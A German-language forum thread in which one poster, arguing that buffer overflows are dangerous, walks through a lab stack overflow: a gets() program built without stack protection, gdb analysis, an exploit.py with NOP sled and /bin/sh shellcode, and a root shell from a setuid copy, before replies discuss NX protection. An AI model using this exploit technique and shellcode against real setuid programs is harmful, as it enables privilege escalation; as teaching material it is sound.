Wozu C Programmieren?

Ok, beginnen wir mal mit simplem code:

Code:
$ cat cb-overflow-poc.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}
Und compilieren diesen (32bit ohne gcc stack protector)

Code:
$ cc -o cb-overflow-poc cb-overflow-poc.c -fno-stack-protector -m32
cb-overflow-poc.c: In function ‘main’:
cb-overflow-poc.c:10:2: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
  gets(buffer);
  ^~~~
  fgets
/tmp/ccrtr8OU.o: In function `main':
cb-overflow-poc.c:(.text+0x2b): warning: the `gets' function is dangerous and should not be used.
Der Compiler meckert direkt über gets() ;)

Nun schicken wir einen 100Zeichen string und sehen, dass das ding direkt crashed. Nach @peter.hahns aussage also nichts schlimmes… Warum auch, stürtz ja nur das Programm ab. Denkt man. Machen wir mal weiter..

Code:
$ python -c "print 'A' * 100" | ./cb-overflow-poc
Segmentation fault (core dumped)

Machen wir das ganze mal mit einem Pattern und schauen wir uns das ganze mit gdb an und setzen einen breakpoint bei main und injecten das Pattern:

Code:
$ python2 pattern.py create 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
(gdb) break main
Breakpoint 1 at 0x63e
(gdb) run
Starting program: /tmp/cb-overflow-poc
Breakpoint 1, 0x000055555555463e in main ()
(gdb) c
Continuing.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.


Wir sehen: Das ding crashed wenn das Pattern gesendet wird.

Machen wir weiter:

Code:
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x5655551d <+0>:    lea    ecx,[esp+0x4]
   0x56555521 <+4>:    and    esp,0xfffffff0
   0x56555524 <+7>:    push   DWORD PTR [ecx-0x4]
   0x56555527 <+10>:    push   ebp
   0x56555528 <+11>:    mov    ebp,esp
   0x5655552a <+13>:    push   ebx
   0x5655552b <+14>:    push   ecx
   0x5655552c <+15>:    sub    esp,0x40
   0x5655552f <+18>:    call   0x56555559 <__x86.get_pc_thunk.ax>
   0x56555534 <+23>:    add    eax,0x1aa4
   0x56555539 <+28>:    sub    esp,0xc
   0x5655553c <+31>:    lea    edx,[ebp-0x48]
   0x5655553f <+34>:    push   edx
   0x56555540 <+35>:    mov    ebx,eax
   0x56555542 <+37>:    call   0x565553b0 <gets@plt>
   0x56555547 <+42>:    add    esp,0x10
   0x5655554a <+45>:    mov    eax,0x0
   0x5655554f <+50>:    lea    esp,[ebp-0x8]
   0x56555552 <+53>:    pop    ecx
   0x56555553 <+54>:    pop    ebx
   0x56555554 <+55>:    pop    ebp
   0x56555555 <+56>:    lea    esp,[ecx-0x4]
=> 0x56555558 <+59>:    ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.

Interessant ist: leave, denn da ists vorbei ;) . Wir müssen also den breakpoint vor leave setzen:

Code:
(gdb) break *0x56555555
import struct
Breakpoint 3 at 0x56555555: file cb-overflow-poc.c, line 11.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/cb-overflow-poc
Breakpoint 1, main (argc=1, argv=0xffffd604) at cb-overflow-poc.c:10
10     gets(buffer);
(gdb)

Holen wir uns die eip Adresse:

Code:
(gdb) info frame
Stack level 0, frame at 0xffffd570:
eip = 0x56555539 in main (cb-overflow-poc.c:10); saved eip = 0xf7e03f21
source language c.
Arglist at 0xffffd558, args: argc=1, argv=0xffffd604
Locals at 0xffffd558, Previous frame's sp is 0xffffd570
Saved registers:
ebx at 0xffffd554, ebp at 0xffffd558, eip at 0xffffd56c


So, jetzt haben wir eigentlich fast alles, was wir brauchen. Der Shellcode fhelt noch. Den findet man eigentlich überall im netz.
Hier nehmen wir mal ein simples execve /bin/sh.
Wir füllen erstmal den Buffer mit genug Zeichen um den Overflow zu roduzieren. Dann schreiben wir den Shellcode, wofür wir eine neue eip brauchen. Nehmen wir die vorhandene und rechnen 4 Bytes dazu: 0xffffd56c +4 = 0xffffd570. Das Exploit sieht dann so aus:

Code:
$ cat exploit.py
import struct
pad = "\x41" * 76 #76 um den overflow zu triggern
EIP = struct.pack("I", 0xffffd570)
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
NOP = "\x90" * 100
print pad + EIP + NOP + shellcode


So, nun ist es soweit. Stellen wir uns einfach vor, der Fehler wäre in einem setuid binary wie z.B. Ping:
Code:
$ sudo chown root /tmp/cb-overflow-poc
$ sudo chmod 4755 /tmp/cb-overflow-poc
$ python2 ./exploit.py |/tmp/cb-overflow-poc
# whoami
root

Und schwupps bin ich root. Und so läuft das halt die ganze Zeit. Wenn das alles kein Problem wäre, müssten wir ja auch nichts mehr patchen ;) Klar habe ich oben den stack protector deaktiviert, aber der hilft auch nur gegen so simple sachen wie dieses hier.

Diese exim Lücke war btw auch sehr nett, weil es recht schnell PoC Exploits gab:
http://exim.org/static/doc/security/CVE-2018-6789.txt
RCE durch buffer overflow. Und nichts schützt einen davor: Keine CPU, kein Kernel, kein w^x und kein Compiler.
 
Zuletzt bearbeitet von einem Moderator:
  • Gefällt mir
Reaktionen: 0-8-15 User, r15ch13, NJay und 4 andere
peter.hahn schrieb:
eben nicht, auf den bereich ausserhalb für die Anwendung ist nicht zugreifbar.
und dein tolles beispiel, ja, da war es, wegen einer anderen sicherheitslücke! wenn das für dich ein beweis ist..
Den Sample Code siehst du einen Beitrag über diesem. Und ich versuche es dir nochmal zu erklären:
Um Code zu injecten muss ich nicht aus der Anwendung raus, das ist völlig egal. Siehe z.B. die verlinkten Advisories zu exim oder dovecot.
Und mein "tolles Beispiel", sudo meinst du vermutlich: DAS ist die Sicherheitslücke. Der Buffer Overflow in Sudo! Ich nutze einen Buffer overflow in einem suid binary, injecte shell code und bin root. Dazu muss ich in KEINEN anderen Speicherbereich gehen.
Nach deiner Logik kann es ja solche Lücken überhaupt nicht geben. Wie kommst du darauf?
 
Dann hatte ich das wohl Falsch in Erinnerung, dachte das würde von anderen Anwendungen benutzte Ram-Bereiche vor solchen Angriffen schützen. Und das gab es ja schon vor etlichen Jahren, dass der Schutz heute ja eigtl. noch besser sein sollte gegen solche Probleme.
https://de.wikipedia.org/wiki/NX-Bit
 
Zurück
Oben